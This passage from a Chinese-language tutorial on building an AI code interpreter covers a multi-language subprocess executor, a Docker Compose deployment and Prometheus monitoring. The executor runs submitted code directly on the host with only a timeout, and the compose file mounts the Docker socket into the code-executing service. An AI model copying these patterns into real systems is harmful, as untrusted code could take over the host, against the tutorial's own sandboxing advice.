"file_ext": ".js",
"timeout": 15
},
"bash": {
"command": ["bash", "-c"],
"file_ext": ".sh",
"timeout": 10
},
"r": {
"command": ["Rscript", "-e"],
"file_ext": ".R",
"timeout": 30
}
}
def execute(self, code: str, language: str = "python", timeout: int = None) -> dict:
"""执行指定语言的代码"""
if language not in self.LANGUAGES:
return {
"stdout": "",
"stderr": f"Unsupported language: {language}",
"exit_code": 1
}
lang_config = self.LANGUAGES[language]
timeout = timeout or lang_config["timeout"]
with tempfile.NamedTemporaryFile(
mode='w',
suffix=lang_config["file_ext"],
delete=False
) as f:
f.write(code)
code_file = f.name
try:
# 对于需要文件的语言，使用文件路径
if language in ["r"]:
cmd = lang_config["command"] + [code_file]
else:
cmd = lang_config["command"] + [code]
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=timeout
)
return {
"stdout": result.stdout,
"stderr": result.stderr,
"exit_code": result.returncode,
"language": language
}
except subprocess.TimeoutExpired:
return {
"stdout": "",
"stderr": f"Execution timed out after {timeout}s",
"exit_code": -1,
"language": language
}
finally:
os.unlink(code_file)
# 使用示例
executor = MultiLanguageExecutor()
# Python
r1 = executor.execute("print('Hello from Python!')", "python")
print(f"Python: {r1['stdout']}")
# JavaScript
r2 = executor.execute("console.log('Hello from Node.js!')", "javascript")
print(f"JS: {r2['stdout']}")
# Bash
r3 = executor.execute("echo 'Hello from Bash!'", "bash")
print(f"Bash: {r3['stdout']}")
14. 生产部署最佳实践
14.1 Docker Compose完整部署
version: "3.8"
services:
code-interpreter:
build: .
ports:
- "8000:8000"
volumes:
- sandbox_data:/tmp/sandbox_files
- /var/run/docker.sock:/var/run/docker.sock
environment:
- SANDBOX_IMAGE=code-sandbox:latest
- MAX_CONCURRENT=10
- DEFAULT_TIMEOUT=30
- MAX_MEMORY=512m
- LOG_LEVEL=info
depends_on:
- redis
deploy:
resources:
limits:
cpus: "4"
memory: 4G
redis:
image: redis:7-alpine
volumes:
- redis_data:/data
nginx:
image: nginx:alpine
ports:
- "443:443"
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- code-interpreter
volumes:
sandbox_data:
redis_data:
14.2 监控与告警
import time
from prometheus_client import Counter, Histogram, Gauge
# Prometheus指标
execution_count = Counter(
'code_executions_total',
'Total code executions',
['language', 'status']
)
execution_duration = Histogram(
'code_execution_duration_seconds',
'Code execution duration',
['language']
)
active_sessions = Gauge(
'active_sessions',
'Number of active sessions'
)
class MonitoredExecutor:
"""带监控的代码执行器"""
def __init__(self):
self.executor = MultiLanguageExecutor()
def execute(self, code: str, language: str = "python") -> dict:
start = time.time()
active_sessions.inc()
try:
result = self.executor.execute(code, language)
status = "success" if result["exit_code"] == 0 else "error"
execution_count.labels(language=language, status=status).inc()
execution_duration.labels(language=language).observe(
time.time() - start
)
return result
finally:
active_sessions.dec()
总结
AI代码解释器是连接LLM与实际计算能力的桥梁。通过本教程，你已经掌握了：
- 架构设计：从Jupyter内核到Docker/Firecracker沙箱的多种实现方案
- 安全防护：代码静态分析、资源限制、网络隔离的完整安全体系
- 文件管理：上传、下载、会话隔离的文件系统设计
- 可视化：服务端图表生成与传输
- 多语言支持：Python、JavaScript、Bash等多语言执行引擎
- 生产部署：Docker Compose部署、监控告警、缓存优化
构建代码解释器的核心原则是：安全第一，隔离为王。永远不要信任用户提交的代码，始终在沙箱中执行，并严格限制资源使用。在此基础上，通过合理的缓存和并发控制，可以构建出高效的AI代码执行平台。
